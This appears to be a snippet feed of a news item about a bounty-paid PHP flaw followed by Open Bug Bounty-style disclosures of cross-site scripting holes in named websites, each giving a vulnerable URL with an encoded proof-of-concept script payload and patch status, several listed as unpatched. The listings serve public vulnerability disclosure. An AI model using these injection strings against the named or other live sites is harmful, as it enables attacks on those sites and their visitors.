Pornhub Hack Earns Researchers $22,000

A PHP vulnerability that exposed adult website PornHub’s user data to hackers and allowed for code execution on servers hosting the site, earned a trio of German researchers $22,000 as part of a bug bounty program. PHP patched the vulnerability in June. The flaw is tied to a use-after-free memory...

timeoutbahrain.com XSS vulnerability

Vulnerable URL: http://www.timeoutbahrain.com/search?query=%5B%27%27%5D%27%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

ui.cn XSS vulnerability

Vulnerable URL: http://www.ui.cn/exp.html?scatid=%5B%2711%27%5D%27%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

euskadi.eus XSS vulnerability

Vulnerable URL: http://www.euskadi.eus/k28aVisWar/k28aMem.jsp?hz=%5B%27e%27%5D=%5B%271%27%5D%22%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:46 GMT Vulnerability type:|...

es.ford.com XSS vulnerability

Vulnerable URL:...

safercar.gov XSS vulnerability

Vulnerable URL: http://www.safercar.gov/nhtsa-dpmextn/jsp/email/emailpage.jsp?pageTitle=%5B%27Home+%7C+National+Highway+Traffic+Safety+Administration+%28NHTSA%29+%7C+Safercar.gov+-+NHTSA%27%5D=%5B%27%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description|...

jogastudio.hu XSS vulnerability

Vulnerable URL: http://www.jogastudio.hu/main.php?belso=%5B%2713%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:46 GMT Vulnerability type:| XSS Vulnerability status...

cfla.gov.lv XSS vulnerability

Vulnerable URL: http://cfla.gov.lv/lv/?s=%5B%27%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.10.2017 Latest check for patch:| 27.10.2017 05:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

cartoonistgroup.com XSS vulnerability

Vulnerable URL: http://www.cartoonistgroup.com/search/results.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 435984 VIP website status:| No Check cartoonistgroup.com SSL...

jetcost.at XSS vulnerability

Vulnerable URL: http://www.jetcost.at/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 19.05.2017 Latest check for patch:| 19.05.2017 21:20 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

jetcost.com.pe XSS vulnerability

Vulnerable URL: http://www.jetcost.com.pe/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 18.05.2017 Latest check for patch:| 18.05.2017 08:19 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

jetcost.it XSS vulnerability

Vulnerable URL: http://www.jetcost.it/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 19.05.2017 Latest check for patch:| 19.05.2017 21:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

jetcost.com.uy XSS vulnerability

Vulnerable URL: http://www.jetcost.com.uy/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 18.05.2017 Latest check for patch:| 18.05.2017 08:19 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

jetcost.hu XSS vulnerability

Vulnerable URL: http://www.jetcost.hu/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 19.05.2017 Latest check for patch:| 19.05.2017 21:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

jetcost.co.ve XSS vulnerability

Vulnerable URL: http://www.jetcost.co.ve/redirect.php?sid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 22:47 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

wijkwinkeldeventer.nl XSS vulnerability

Vulnerable URL: https://www.wijkwinkeldeventer.nl/zoeken?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3927785 VIP website status:| No Check wijkwinkeldeventer.nl SSL...

ixutygiqo.zyro.com XSS vulnerability

Vulnerable URL: http://ixutygiqo.zyro.com/search.php?filesearch=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

antroposmoderno.com XSS vulnerability

Vulnerable URL: http://www.antroposmoderno.com/antro-articulo.php?idarticulo=78%27%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:45 GMT Vulnerability type:| XSS Vulnerability...

mobilbekas.co.id XSS vulnerability

Vulnerable URL: http://www.mobilbekas.co.id/sitesearch.php?smake=12model="scondition=0yearfrom=0yearto=0pricefrom=0priceto=140000000mileagefrom=0mileageto=location=0sortby=idorder=descrow=10 Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:45...

wv-realestate.net XSS vulnerability

Vulnerable URL: http://www.wv-realestate.net/multilist/asp/public/propertydetail.asp?linkcolor=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...